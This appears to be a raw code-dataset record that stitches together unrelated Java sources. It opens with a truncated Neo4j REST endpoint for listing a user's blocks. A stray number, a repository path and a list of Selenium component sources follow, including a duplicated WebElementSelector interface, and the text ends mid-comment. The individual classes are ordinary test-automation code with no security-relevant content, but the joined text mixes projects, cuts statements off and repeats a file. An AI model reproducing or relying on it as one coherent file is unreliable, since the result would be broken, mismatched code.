package com.maxdemarzi.blocks; @Path("/users/{username}/blocks") public class Blocks { private final GraphDatabaseService db; private static final ObjectMapper objectMapper = new ObjectMapper(); public Blocks(@Context DatabaseManagementService dbms ) { this.db = dbms.database( "neo4j" );; } @GET public Response getBlocks(@PathParam("username") final String username, @QueryParam("limit") @DefaultValue("25") final Integer limit, @QueryParam("since") final Long since) throws IOException { ArrayList<Map<String, Object>> results = new ArrayList<>(); Long latest = getLatestTime(since); try (Transaction tx = db.beginTx()) { Node user = findUser(username, tx); for (Relationship r1: user.getRelationships(Direction.OUTGOING, RelationshipTypes.BLOCKS)) { Node blocked = r1.getEndNode(); Long time = (Long)r1.getProperty("time"); if(time < latest) {
Map<String, Object> result = getUserAttributes(blocked);
5
porscheinformatik/selenium-components
src/main/java/at/porscheinformatik/seleniumcomponents/clarity/ClarityRadioComponent.java
[ "public interface WebElementSelector\n{\n\n /**\n * Creates a selector that always uses the specified element. This selector ignores the {@link SearchContext}.\n *\n * @param description a description for toString, to make it easier to find the specified element. Most-often the\n * description looks like a CSS selector.\n * @param element the element to return\n * @return the selector\n */\n static WebElementSelector selectElement(String description, WebElement element)\n {\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n return element;\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return Arrays.asList(element);\n }\n\n @Override\n public String decribe(String contextDescription)\n {\n return \"$\" + description;\n }\n\n @Override\n public String toString()\n {\n return description;\n }\n };\n }\n\n /**\n * This is a shortcut method to use a Selenium selector as selector.\n *\n * @param description a description for toString, to make it easier to find the specified element. Most-often the\n * description looks like a CSS selector.\n * @param by the Selenium selector\n * @return the {@link WebElementSelector} for the given Selenium selector\n */\n static WebElementSelector selectBy(String description, By by)\n {\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n return context.findElement(by);\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return context.findElements(by);\n }\n\n @Override\n public String toString()\n {\n return description;\n }\n };\n }\n\n /**\n * A selector that uses the id of an element. This selector usually does not ignore the hierarchy of components.\n *\n * @param id the id of the element\n * @return the selector\n */\n static WebElementSelector selectById(String id)\n {\n return selectByCss(\"#\" + id);\n }\n\n /**\n * A selector that uses the value of the \"name\" attribute of an element. This selector respects the hierarchy of\n * components.\n *\n * @param name the expected value of the \"name\" attribute of the element\n * @return the selector\n */\n static WebElementSelector selectByName(String name)\n {\n return selectBy(String.format(\"*[name='%s']\", name), By.name(name));\n }\n\n /**\n * A selector that uses the tag name of an element. This selector respects the hierarchy of components. If multiple\n * tag names are specified one of the tag names must match.\n *\n * @param tagNames the tag name of the element\n * @return the selector\n */\n static WebElementSelector selectByTagName(String... tagNames)\n {\n return selectByCss(tagNames);\n }\n\n /**\n * A selector that uses the value of the \"class\" attribute of an element. If the \"class\" attribute contains multiple\n * classes, the selector will test each. This selector respects the hierarchy of components. If multiple class names\n * are specified, one of the class names must match.\n *\n * @param classNames the tag class of the element\n * @return the selector\n */\n static WebElementSelector selectByClassName(String... classNames)\n {\n return selectByCss(\n Arrays.stream(classNames).map(className -> \".\" + className).toArray(size -> new String[size]));\n }\n\n /**\n * A selector that uses a CSS selector query. This selector respects the hierarchy of components. Multiple css\n * stings will be combined using a comma (or concatenation), but it depends on the browser to support this.\n *\n * @param queries the CSS selector query\n * @return the selector\n */\n static WebElementSelector selectByCss(String... queries)\n {\n return new CombinableWebElementSelector(queries);\n }\n\n /**\n * Select an element by the value of the given attribute\n *\n * @param attributeName the name of the attribute\n * @param attributeValue the value of the attribute\n * @return the selector\n */\n static WebElementSelector selectByAttribute(String attributeName, String attributeValue)\n {\n return selectByAttribute(\"*\", attributeName, attributeValue);\n }\n\n /**\n * Select an element by the value of the given attribute\n *\n * @param tagName the html tag to select\n * @param attributeName the name of the attribute\n * @param attributeValue the value of the attribute. When null only the attribute name must match\n * @return the selector\n */\n static WebElementSelector selectByAttribute(String tagName, String attributeName, @Nullable String attributeValue)\n {\n if (attributeValue == null)\n {\n return selectByXPath(String.format(\".//%s[@%s]\", tagName, attributeName));\n }\n\n return selectByXPath(String.format(\".//%s[@%s='%s']\", tagName, attributeName, attributeValue));\n }\n\n /**\n * Select an element by the value of the given attribute\n *\n * @param tagName the html tag to select\n * @param attributeName the name of the attribute\n * @param attributeValue the value the attribute should contain. When null only the attribute name must match\n * @return the selector\n */\n static WebElementSelector selectByAttributeContains(String tagName, String attributeName,\n @Nullable String attributeValue)\n {\n if (attributeValue == null)\n {\n return selectByXPath(String.format(\".//%s[@%s]\", tagName, attributeName));\n }\n\n return selectByXPath(String.format(\".//%s[contains(@%s, '%s')]\", tagName, attributeName, attributeValue));\n }\n\n /**\n * A selector that uses the value of the \"selenium-key\" attribute of an element. This selector respects the\n * hierarchy of components. The implementation is bases on a CSS selector query.\n *\n * @param key the expected value of the \"selenium-key\" attribute of the element\n * @return the selector\n */\n static WebElementSelector selectBySeleniumKey(String key)\n {\n return selectBySeleniumKey(\"*\", key);\n }\n\n /**\n * A selector that uses a tagName and the value of the \"selenium-key\" attribute of an element. This selector\n * respects the hierarchy of components. The implementation is bases on a CSS selector query.\n *\n * @param tagName the tag name of the element\n * @param key the expected value of the \"selenium-key\" attribute of the element\n * @return the selector\n */\n static WebElementSelector selectBySeleniumKey(String tagName, String key)\n {\n return selectByAttribute(tagName, \"selenium-key\", key);\n }\n\n /**\n * A selector that uses an XPath query. If this selector starts with a \"/\", it will ignore the hierarchy of\n * components.\n *\n * @param xpath the XPath query\n * @return the selector\n */\n static WebElementSelector selectByXPath(String xpath)\n {\n return selectBy(String.format(\"{%s}\", xpath), By.xpath(xpath));\n }\n\n /**\n * Returns the element at the specified index of all direct siblings. The index is zero-based.\n *\n * @param index the index (0-based)\n * @return the selector\n */\n static WebElementSelector selectByIndex(int index)\n {\n return selectByIndex(\"*\", index);\n }\n\n /**\n * Returns the element at the specified index of all direct siblings. The index is zero-based.\n *\n * @param tagName the name of the tag\n * @param index the index (0-based)\n * @return the selector\n */\n static WebElementSelector selectByIndex(String tagName, int index)\n {\n return selectByCss(String.format(\"%s:nth-child(%d)\", tagName, index + 1));\n }\n\n /**\n * Returns the element at the specified index selected by the specified selector. The index is zero-based.\n *\n * @param selector the selector for the child elements\n * @param index the index (0-based)\n * @return the selector\n */\n static WebElementSelector selectByIndex(WebElementSelector selector, int index)\n {\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n if (index < 0)\n {\n return null;\n }\n\n List<WebElement> elements = selector.findAll(context);\n\n if (index >= elements.size())\n {\n return null;\n }\n\n return elements.get(index);\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return Arrays.asList(find(context));\n }\n\n @Override\n public String toString()\n {\n return String.format(\"%s:nth-child(%d)\", selector, index + 1);\n }\n };\n }\n\n /**\n * Returns the last element of all direct siblings.\n *\n * @return the selector\n */\n static WebElementSelector selectLast()\n {\n return selectLast(selectChildren());\n }\n\n /**\n * Returns the last element selected by the specified selector\n *\n * @param selector the selector for the child elements\n * @return the selector\n */\n static WebElementSelector selectLast(WebElementSelector selector)\n {\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n List<WebElement> elements = selector.findAll(context);\n\n if (elements.size() == 0)\n {\n return null;\n }\n\n return elements.get(elements.size() - 1);\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return Arrays.asList(find(context));\n }\n\n @Override\n public String toString()\n {\n return String.format(\"%s:last-child\", selector);\n }\n };\n }\n\n /**\n * Returns the first element of all direct siblings.\n *\n * @return the selector\n */\n static WebElementSelector selectFirst()\n {\n return selectFirst(selectChildren());\n }\n\n /**\n * Returns the first element selected by the specified selector\n *\n * @param selector the selector for the child elements\n * @return the selector\n */\n static WebElementSelector selectFirst(WebElementSelector selector)\n {\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n List<WebElement> elements = selector.findAll(context);\n\n if (elements.size() == 0)\n {\n return null;\n }\n\n return elements.get(0);\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return Arrays.asList(find(context));\n }\n\n @Override\n public String toString()\n {\n return String.format(\"%s:first-child\", selector);\n }\n };\n }\n\n /**\n * Returns the element that represents the specified column. The first column is 1. Looks at all direct children of\n * the search context. If the element has a \"colspan\" attribute it is assumed, that the element spans over multiple\n * indices.\n *\n * @param column the column (1-based)\n * @return the selector\n */\n static WebElementSelector selectByColumn(int column)\n {\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n List<WebElement> elements = By.xpath(\"./*\").findElements(context);\n int currentIndex = 1;\n\n for (WebElement element : elements)\n {\n currentIndex += getColspan(element);\n\n if (currentIndex > column)\n {\n return element;\n }\n }\n\n return null;\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return Arrays.asList(find(context));\n }\n\n private int getColspan(WebElement element)\n {\n String colspan = element.getAttribute(\"colspan\");\n\n if (Utils.isEmpty(colspan))\n {\n return 1;\n }\n\n try\n {\n return Integer.parseInt(colspan);\n }\n catch (NumberFormatException e)\n {\n throw new SeleniumException(\"Failed to parse colspan: \" + colspan, e);\n }\n }\n\n @Override\n public String toString()\n {\n return String.format(\"*:nth-column(%d)\", column);\n }\n };\n }\n\n /**\n * A selector that selects the component itself.\n *\n * @return the selector\n */\n static WebElementSelector selectSelf()\n {\n return selectBy(\"\", By.xpath(\".\"));\n }\n\n /**\n * A selector that selects all direct children.\n *\n * @return the selector\n */\n static WebElementSelector selectChildren()\n {\n return selectBy(\"*\", By.xpath(\"./*\"));\n }\n\n /**\n * Searches for the element.\n *\n * @param context the context to search in\n * @return the element returned by this selector.\n */\n WebElement find(SearchContext context);\n\n /**\n * Searches for all the elements.\n *\n * @param context the context to search in\n * @return a list of elements, never null\n */\n List<WebElement> findAll(SearchContext context);\n\n /**\n * Returns a description of the selector based on the context\n *\n * @param contextDescription the description of the context\n * @return the description\n */\n default String decribe(String contextDescription)\n {\n return Utils.isEmpty(contextDescription) ? toString() : contextDescription + \" \" + toString();\n }\n\n /**\n * Describe the selector to simplify debugging.\n *\n * @return a string representation\n */\n @Override\n String toString();\n\n /**\n * Chains the specified selector after this selector.\n *\n * @param selector the selector\n * @return the new selector instance\n */\n default WebElementSelector descendant(WebElementSelector selector)\n {\n // I could never imagine a situation for needing the following in Java\n WebElementSelector that = this;\n\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n return selector.find(that.find(context));\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return selector.findAll(that.find(context));\n }\n\n @Override\n public String decribe(String contextDescription)\n {\n return selector.decribe(that.decribe(contextDescription));\n }\n\n @Override\n public String toString()\n {\n return String.format(\"%s %s\", that, selector);\n }\n };\n }\n\n /**\n * @param xpath the xpath to the parent\n * @return the parent\n * @deprecated I think this is too complex. It should not be used.\n */\n @Deprecated\n default WebElementSelector ancestor(String xpath)\n {\n WebElementSelector parent = selectByXPath(\"ancestor::\" + xpath);\n WebElementSelector that = this;\n\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n return parent.find(that.find(context));\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return parent.findAll(that.find(context));\n }\n\n @Override\n public String decribe(String contextDescription)\n {\n return parent.decribe(that.decribe(contextDescription));\n }\n\n @Override\n public String toString()\n {\n return String.format(\"%s %s\", that, parent);\n }\n };\n }\n\n /**\n * @param selector the selector, that should be combined with this selector\n * @return the combined selector or null if one of the selectors is not combinable\n */\n @Nullable\n default WebElementSelector combine(@Nonnull WebElementSelector selector)\n {\n return null;\n }\n}", "public abstract class AbstractSeleniumComponent implements SeleniumComponent\n{\n\n private final SeleniumComponent parent;\n private final WebElementSelector selector;\n\n /**\n * Creates a new {@link SeleniumComponent} with the specified parent and the specified selector.\n *\n * @param parent the mandatory parent\n * @param selector the mandatory selector\n */\n public AbstractSeleniumComponent(SeleniumComponent parent, WebElementSelector selector)\n {\n super();\n\n this.parent = Objects.requireNonNull(parent, \"Parent is null\");\n this.selector = Objects.requireNonNull(selector, \"Selector is null\");\n }\n\n @Override\n public final SeleniumComponent parent()\n {\n return parent;\n }\n\n @Override\n public WebElement element() throws NoSuchElementException\n {\n try\n {\n return element(selector);\n }\n catch (Exception e)\n {\n throw new NoSuchElementException(selector.decribe(parent.describe()), e);\n }\n }\n\n protected WebElement element(WebElementSelector selector)\n {\n if (parent instanceof AbstractSeleniumComponent)\n {\n AbstractSeleniumComponent seleniumP = (AbstractSeleniumComponent) parent;\n WebElementSelector combinedSelector = seleniumP.getSelector().combine(selector);\n\n if (combinedSelector != null)\n {\n return seleniumP.element(combinedSelector);\n }\n }\n\n return SeleniumUtils.keepTrying(() -> selector.find(parent.searchContext()));\n }\n\n @Override\n public boolean isReady()\n {\n try\n {\n return SeleniumUtils.retryOnStale(() -> selector.find(parent.searchContext()) != null);\n }\n catch (Exception e)\n {\n return false;\n }\n }\n\n protected final WebElementSelector getSelector()\n {\n return selector;\n }\n\n protected String getTagName()\n {\n return SeleniumUtils.getTagName(this);\n }\n\n protected String getAttribute(String name)\n {\n return SeleniumUtils.getAttribute(this, name);\n }\n\n protected String getClassAttribute()\n {\n return SeleniumUtils.getClassAttribute(this);\n }\n\n protected boolean containsClassName(String className)\n {\n return SeleniumUtils.containsClassName(this, className);\n }\n\n protected String getText()\n {\n return SeleniumUtils.getText(this);\n }\n\n @Override\n public String describe()\n {\n return selector.decribe(parent.describe());\n }\n\n @Override\n public String toString()\n {\n return String.format(\"%s(%s)\", Utils.toClassName(getClass()), describe());\n }\n\n}", "public interface ActiveSeleniumComponent extends SeleniumComponent\n{\n /**\n * Returns true if the component is enabled.\n *\n * @return true if enabled\n */\n default boolean isEnabled()\n {\n try\n {\n return SeleniumUtils.retryOnStale(() -> element().isEnabled());\n }\n catch (NoSuchElementException e)\n {\n return false;\n }\n }\n\n /**\n * Waits until the component becomes enabled.\n *\n * @param timeoutInSeconds the timeout in seconds\n */\n default void waitUntilEnabled(double timeoutInSeconds)\n {\n SeleniumAsserts\n .assertThatSoon(timeoutInSeconds, \"Component becomes enabled: \" + describe(), () -> this,\n SeleniumMatchers.isEnabled());\n }\n\n /**\n * Returns true if the component is selectable and selected.\n *\n * @return true if selected\n */\n default boolean isSelected()\n {\n try\n {\n return SeleniumUtils.retryOnStale(() -> element().isSelected());\n }\n catch (NoSuchElementException e)\n {\n return false;\n }\n }\n\n /**\n * Waits until the component becomes selected.\n *\n * @param timeoutInSeconds the timeout in seconds\n */\n default void waitUntilSelected(double timeoutInSeconds)\n {\n SeleniumAsserts\n .assertThatSoon(timeoutInSeconds, \"Component becomes selected: \" + describe(), () -> this,\n SeleniumMatchers.isSelected());\n }\n\n /**\n * Returns true if the component is clickable (displayed and enabled)\n *\n * @return true if clickable\n */\n default boolean isClickable()\n {\n return isVisible() && isEnabled();\n }\n\n /**\n * Waits until the component becomes clickable.\n *\n * @param timeoutInSeconds the timeout in seconds\n */\n default void waitUntilClickable(double timeoutInSeconds)\n {\n SeleniumAsserts\n .assertThatSoon(timeoutInSeconds, \"Component becomes clickable: \" + describe(), () -> this,\n SeleniumMatchers.isClickable());\n }\n\n /**\n * Returns true if the component is editable (displayed and enabled)\n *\n * @return true if editable\n */\n default boolean isEditable()\n {\n return isVisible() && isEnabled();\n }\n\n /**\n * Waits until the component becomes editable.\n *\n * @param timeoutInSeconds the timeout in seconds\n */\n default void waitUntilEditable(double timeoutInSeconds)\n {\n SeleniumAsserts\n .assertThatSoon(timeoutInSeconds, \"Component becomes editable: \" + describe(), () -> this,\n SeleniumMatchers.isEditable());\n }\n\n /**\n * Returns true if the component is not enabled.\n *\n * @return true if enabled\n */\n default boolean isDisabled()\n {\n return !isEnabled();\n }\n\n /**\n * Waits until the component becomes disabled.\n *\n * @param timeoutInSeconds the timeout in seconds\n */\n default void waitUntilDisabled(double timeoutInSeconds)\n {\n SeleniumAsserts\n .assertThatSoon(timeoutInSeconds, \"Component becomes disabled: \" + describe(), () -> this,\n SeleniumMatchers.isDisabled());\n }\n\n /**\n * Waits more than twice the short timeout for the component to become clickable and clicks it. We use a bit more\n * than the default short timeout because it is possible, that selecting a element needs a few seconds to complete.\n * Depending on the Component Hierarchy used.\n */\n default void click()\n {\n click(SeleniumGlobals.getShortTimeoutInSeconds() * 2.5);\n }\n\n /**\n * Waits the given seconds for the component to become clickable and clicks it.\n *\n * @param timeoutInSeconds the amount of time to wait until the operation fails\n */\n default void click(double timeoutInSeconds)\n {\n String description = LOG.interaction(\"Clicking on %s\", describe());\n\n SeleniumAsserts.assertThatSoon(timeoutInSeconds, description, () -> this, SeleniumMatchers.isClickable());\n\n element().click();\n }\n\n /**\n * Clears the component. Waits {@link SeleniumGlobals#getShortTimeoutInSeconds()} seconds for the component to\n * become available.\n */\n default void clear()\n {\n String description = LOG.interaction(\"Clearing %s\", describe());\n\n SeleniumAsserts.assertThatSoon(description, () -> this, SeleniumMatchers.isEditable());\n SeleniumUtils.retryOnStale(() -> element().clear());\n }\n\n /**\n * Sends the key sequences to the component. Waits {@link SeleniumGlobals#getShortTimeoutInSeconds()} seconds for\n * the component to become available.\n *\n * @param keysToSend the keys to send (multiple)\n */\n default void sendKeys(CharSequence... keysToSend)\n {\n String description =\n LOG.interaction(\"Sending \\\"%s\\\" to %s\", Utils.escapeJava(String.join(\"\", keysToSend)), describe());\n\n // It could take some time to input the data. So we should wait longer than the short timeout\n SeleniumAsserts.assertThatLater(description, () -> {\n if (isClickable())\n {\n WebElement element = element();\n\n for (CharSequence current : keysToSend)\n {\n element.sendKeys(current);\n }\n\n return true;\n }\n\n return false;\n }, is(true));\n }\n\n /**\n * Sets the selected state for this component by clicking it, if not already selected.\n */\n default void select()\n {\n if (!isSelected())\n {\n LOG.interaction(\"Selecting %s\", describe());\n\n click();\n }\n }\n\n /**\n * Unsets the selected state of this component by clicking it, if currently selected.\n */\n default void unselect()\n {\n if (isSelected())\n {\n LOG.interaction(\"Deselecting %s\", describe());\n\n click();\n }\n }\n\n /**\n * Calls the appropriate method\n *\n * @param selected true for {@link #select()}, false for {@link #unselect()}\n */\n default void setSelected(boolean selected)\n {\n if (selected)\n {\n select();\n }\n else\n {\n unselect();\n }\n }\n\n}", "public interface SeleniumComponent extends WebElementContainer\n{\n\n SeleniumLogger LOG = new SeleniumLogger(SeleniumComponent.class);\n\n /**\n * Returns the parent of this component.\n *\n * @return the parent, may be null if the component is root (like a page).\n */\n SeleniumComponent parent();\n\n /**\n * Returns the {@link SeleniumEnvironment} of this component, which is, by default, the environment of the parent.\n * If this component is root, it must implement this method and return a valid environment.\n *\n * @return the environment, never null\n */\n default SeleniumEnvironment environment()\n {\n SeleniumComponent parent = parent();\n\n Objects\n .requireNonNull(parent, () -> String\n .format(\n \"The parent is null which means, that this component is root. Implement this method by supplying a valid environment\"));\n\n return Objects\n .requireNonNull(parent.environment(),\n () -> String.format(\"The environment of the component defined by %s is null\", parent.getClass()));\n }\n\n /**\n * Returns true if a {@link WebElement} described by this component is ready and available (it must not be visible,\n * though). This method has no timeout, it does not wait for the component to become existent.\n *\n * @return true if the component exists\n */\n boolean isReady();\n\n /**\n * Waits until the component becomes ready.\n *\n * @param timeoutInSeconds the timeout in seconds\n */\n default void waitUntilReady(double timeoutInSeconds)\n {\n SeleniumAsserts\n .assertThatSoon(timeoutInSeconds, \"Component becomes ready: \" + describe(), () -> this,\n SeleniumMatchers.isReady());\n }\n\n /**\n * Returns true if a {@link WebElement} described by this component is visible. By default it checks, if the element\n * is visible. This method has no timeout, it does not wait for the component to become existent. <br>\n * <br>\n * It it NO good idea, to check for invisibility. If the component is not visible, Selenium always waits for some\n * time. This causes tests to run slowly and timeouts to fail.\n *\n * @return true if the component is visible\n */\n default boolean isVisible()\n {\n try\n {\n return SeleniumUtils.retryOnStale(() -> element().isDisplayed());\n }\n catch (NoSuchElementException e)\n {\n return false;\n }\n }\n\n /**\n * Waits until the component becomes ready.\n *\n * @param timeoutInSeconds the timeout in seconds\n */\n default void waitUntilVisible(double timeoutInSeconds)\n {\n SeleniumAsserts\n .assertThatSoon(timeoutInSeconds, \"Component becomes visible: \" + describe(), () -> this,\n SeleniumMatchers.isVisible());\n }\n\n @Override\n String toString();\n}", "public interface WebElementSelector\n{\n\n /**\n * Creates a selector that always uses the specified element. This selector ignores the {@link SearchContext}.\n *\n * @param description a description for toString, to make it easier to find the specified element. Most-often the\n * description looks like a CSS selector.\n * @param element the element to return\n * @return the selector\n */\n static WebElementSelector selectElement(String description, WebElement element)\n {\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n return element;\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return Arrays.asList(element);\n }\n\n @Override\n public String decribe(String contextDescription)\n {\n return \"$\" + description;\n }\n\n @Override\n public String toString()\n {\n return description;\n }\n };\n }\n\n /**\n * This is a shortcut method to use a Selenium selector as selector.\n *\n * @param description a description for toString, to make it easier to find the specified element. Most-often the\n * description looks like a CSS selector.\n * @param by the Selenium selector\n * @return the {@link WebElementSelector} for the given Selenium selector\n */\n static WebElementSelector selectBy(String description, By by)\n {\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n return context.findElement(by);\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return context.findElements(by);\n }\n\n @Override\n public String toString()\n {\n return description;\n }\n };\n }\n\n /**\n * A selector that uses the id of an element. This selector usually does not ignore the hierarchy of components.\n *\n * @param id the id of the element\n * @return the selector\n */\n static WebElementSelector selectById(String id)\n {\n return selectByCss(\"#\" + id);\n }\n\n /**\n * A selector that uses the value of the \"name\" attribute of an element. This selector respects the hierarchy of\n * components.\n *\n * @param name the expected value of the \"name\" attribute of the element\n * @return the selector\n */\n static WebElementSelector selectByName(String name)\n {\n return selectBy(String.format(\"*[name='%s']\", name), By.name(name));\n }\n\n /**\n * A selector that uses the tag name of an element. This selector respects the hierarchy of components. If multiple\n * tag names are specified one of the tag names must match.\n *\n * @param tagNames the tag name of the element\n * @return the selector\n */\n static WebElementSelector selectByTagName(String... tagNames)\n {\n return selectByCss(tagNames);\n }\n\n /**\n * A selector that uses the value of the \"class\" attribute of an element. If the \"class\" attribute contains multiple\n * classes, the selector will test each. This selector respects the hierarchy of components. If multiple class names\n * are specified, one of the class names must match.\n *\n * @param classNames the tag class of the element\n * @return the selector\n */\n static WebElementSelector selectByClassName(String... classNames)\n {\n return selectByCss(\n Arrays.stream(classNames).map(className -> \".\" + className).toArray(size -> new String[size]));\n }\n\n /**\n * A selector that uses a CSS selector query. This selector respects the hierarchy of components. Multiple css\n * stings will be combined using a comma (or concatenation), but it depends on the browser to support this.\n *\n * @param queries the CSS selector query\n * @return the selector\n */\n static WebElementSelector selectByCss(String... queries)\n {\n return new CombinableWebElementSelector(queries);\n }\n\n /**\n * Select an element by the value of the given attribute\n *\n * @param attributeName the name of the attribute\n * @param attributeValue the value of the attribute\n * @return the selector\n */\n static WebElementSelector selectByAttribute(String attributeName, String attributeValue)\n {\n return selectByAttribute(\"*\", attributeName, attributeValue);\n }\n\n /**\n * Select an element by the value of the given attribute\n *\n * @param tagName the html tag to select\n * @param attributeName the name of the attribute\n * @param attributeValue the value of the attribute. When null only the attribute name must match\n * @return the selector\n */\n static WebElementSelector selectByAttribute(String tagName, String attributeName, @Nullable String attributeValue)\n {\n if (attributeValue == null)\n {\n return selectByXPath(String.format(\".//%s[@%s]\", tagName, attributeName));\n }\n\n return selectByXPath(String.format(\".//%s[@%s='%s']\", tagName, attributeName, attributeValue));\n }\n\n /**\n * Select an element by the value of the given attribute\n *\n * @param tagName the html tag to select\n * @param attributeName the name of the attribute\n * @param attributeValue the value the attribute should contain. When null only the attribute name must match\n * @return the selector\n */\n static WebElementSelector selectByAttributeContains(String tagName, String attributeName,\n @Nullable String attributeValue)\n {\n if (attributeValue == null)\n {\n return selectByXPath(String.format(\".//%s[@%s]\", tagName, attributeName));\n }\n\n return selectByXPath(String.format(\".//%s[contains(@%s, '%s')]\", tagName, attributeName, attributeValue));\n }\n\n /**\n * A selector that uses the value of the \"selenium-key\" attribute of an element. This selector respects the\n * hierarchy of components. The implementation is bases on a CSS selector query.\n *\n * @param key the expected value of the \"selenium-key\" attribute of the element\n * @return the selector\n */\n static WebElementSelector selectBySeleniumKey(String key)\n {\n return selectBySeleniumKey(\"*\", key);\n }\n\n /**\n * A selector that uses a tagName and the value of the \"selenium-key\" attribute of an element. This selector\n * respects the hierarchy of components. The implementation is bases on a CSS selector query.\n *\n * @param tagName the tag name of the element\n * @param key the expected value of the \"selenium-key\" attribute of the element\n * @return the selector\n */\n static WebElementSelector selectBySeleniumKey(String tagName, String key)\n {\n return selectByAttribute(tagName, \"selenium-key\", key);\n }\n\n /**\n * A selector that uses an XPath query. If this selector starts with a \"/\", it will ignore the hierarchy of\n * components.\n *\n * @param xpath the XPath query\n * @return the selector\n */\n static WebElementSelector selectByXPath(String xpath)\n {\n return selectBy(String.format(\"{%s}\", xpath), By.xpath(xpath));\n }\n\n /**\n * Returns the element at the specified index of all direct siblings. The index is zero-based.\n *\n * @param index the index (0-based)\n * @return the selector\n */\n static WebElementSelector selectByIndex(int index)\n {\n return selectByIndex(\"*\", index);\n }\n\n /**\n * Returns the element at the specified index of all direct siblings. The index is zero-based.\n *\n * @param tagName the name of the tag\n * @param index the index (0-based)\n * @return the selector\n */\n static WebElementSelector selectByIndex(String tagName, int index)\n {\n return selectByCss(String.format(\"%s:nth-child(%d)\", tagName, index + 1));\n }\n\n /**\n * Returns the element at the specified index selected by the specified selector. The index is zero-based.\n *\n * @param selector the selector for the child elements\n * @param index the index (0-based)\n * @return the selector\n */\n static WebElementSelector selectByIndex(WebElementSelector selector, int index)\n {\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n if (index < 0)\n {\n return null;\n }\n\n List<WebElement> elements = selector.findAll(context);\n\n if (index >= elements.size())\n {\n return null;\n }\n\n return elements.get(index);\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return Arrays.asList(find(context));\n }\n\n @Override\n public String toString()\n {\n return String.format(\"%s:nth-child(%d)\", selector, index + 1);\n }\n };\n }\n\n /**\n * Returns the last element of all direct siblings.\n *\n * @return the selector\n */\n static WebElementSelector selectLast()\n {\n return selectLast(selectChildren());\n }\n\n /**\n * Returns the last element selected by the specified selector\n *\n * @param selector the selector for the child elements\n * @return the selector\n */\n static WebElementSelector selectLast(WebElementSelector selector)\n {\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n List<WebElement> elements = selector.findAll(context);\n\n if (elements.size() == 0)\n {\n return null;\n }\n\n return elements.get(elements.size() - 1);\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return Arrays.asList(find(context));\n }\n\n @Override\n public String toString()\n {\n return String.format(\"%s:last-child\", selector);\n }\n };\n }\n\n /**\n * Returns the first element of all direct siblings.\n *\n * @return the selector\n */\n static WebElementSelector selectFirst()\n {\n return selectFirst(selectChildren());\n }\n\n /**\n * Returns the first element selected by the specified selector\n *\n * @param selector the selector for the child elements\n * @return the selector\n */\n static WebElementSelector selectFirst(WebElementSelector selector)\n {\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n List<WebElement> elements = selector.findAll(context);\n\n if (elements.size() == 0)\n {\n return null;\n }\n\n return elements.get(0);\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return Arrays.asList(find(context));\n }\n\n @Override\n public String toString()\n {\n return String.format(\"%s:first-child\", selector);\n }\n };\n }\n\n /**\n * Returns the element that represents the specified column. The first column is 1. Looks at all direct children of\n * the search context. If the element has a \"colspan\" attribute it is assumed, that the element spans over multiple\n * indices.\n *\n * @param column the column (1-based)\n * @return the selector\n */\n static WebElementSelector selectByColumn(int column)\n {\n return new WebElementSelector()\n {\n @Override\n public WebElement find(SearchContext context)\n {\n List<WebElement> elements = By.xpath(\"./*\").findElements(context);\n int currentIndex = 1;\n\n for (WebElement element : elements)\n {\n currentIndex += getColspan(element);\n\n if (currentIndex > column)\n {\n return element;\n }\n }\n\n return null;\n }\n\n @Override\n public List<WebElement> findAll(SearchContext context)\n {\n return Arrays.asList(find(context));\n }\n\n private int getColspan(WebElement element)\n {\n String colspan = element.getAttribute(\"colspan\");\n\n if (Utils.isEmpty(colspan))\n {\n return 1;\n }\n\n try\n {\n return Integer.parseInt(colspan);\n }\n catch (NumberFormatException e)\n {\n throw new SeleniumException(\"Failed to parse colspan: \" + colspan, e);\n }\n }\n\n @Override\n public String toString()\n {\n return String.format(\"*:nth-column(%d)\", column);\n }\n };\n }\n\n /**\n * A selector that selects the component itself.\n *\n * @return the selector\n */\n static WebElementSelector selectSelf()\n {\n return selectBy(\"\", By.xpath(\".\"));\n }\n\n /**\n * A selector that selects all direct children.\n *\n * @return the selector\n */\n static WebElementSelector selectChildren()\n {\n return selectBy(\"*\", By.xpath(\"./*\"));\n }\n\n /**\n * Searches for the element.\n *\n * @param context the context to search in\n * @return the element returned by this selector.\n */\n WebElement find(SearchContext context);\n\n /**\n * Searches for all the elements.\n *\n * @param context the context to search in\n * @return a list of elements, never null\n */\n List<WebElement> findAll(SearchContext context);\n\n /**\n * Returns a description of the selector based on the context\n *\n * @param contextDescription the description of the context\n * @return the description\n */\n default String decribe(String contextDescription)\n {\n return Utils.isEmpty(contextDescription) ? toString() : contextDescription + \" \" + toString();\n }\n\n /**\n * Describe the selector to simplify debugging.\n *\n * @return a string representation\n */\n @Override\n String toString();\n\n /**\n * Chains the specified selector after this selector.\n *\n * @param selector the selector\n * @return the new 